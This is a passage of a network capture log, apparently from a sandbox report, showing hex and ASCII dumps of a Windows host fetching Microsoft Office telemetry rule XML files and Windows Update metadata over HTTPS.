2024-11-24 01:13:57 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-24 01:13:57 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d2omb6MvlMgrUyz&MD=Y+yMdoHD HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 01:14:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f4f938fa-e3e0-400b-9cb4-cf035bdcab52 MS-RequestId: 356ab5a7-55af-4420-8738-c6160c0cd2c2 MS-CV: MHdsymnZKUizBc5o.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 01:13:58 GMT Connection: close Content-Length: 30005
2024-11-24 01:14:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-24 01:14:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011400Z-178bfbc474b9xljthC1NYCtw94000000057g000000004p04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011400Z-174c587ffdf8lw6dhC1TEBkgs800000003mg00000000rtm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011400Z-178bfbc474bxkclvhC1NYC69g4000000058g000000003qre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011400Z-178bfbc474bv7whqhC1NYC1fg400000005c000000000069t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011400Z-15b8b599d88tr2flhC1TEB5gk400000003y0000000002wwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
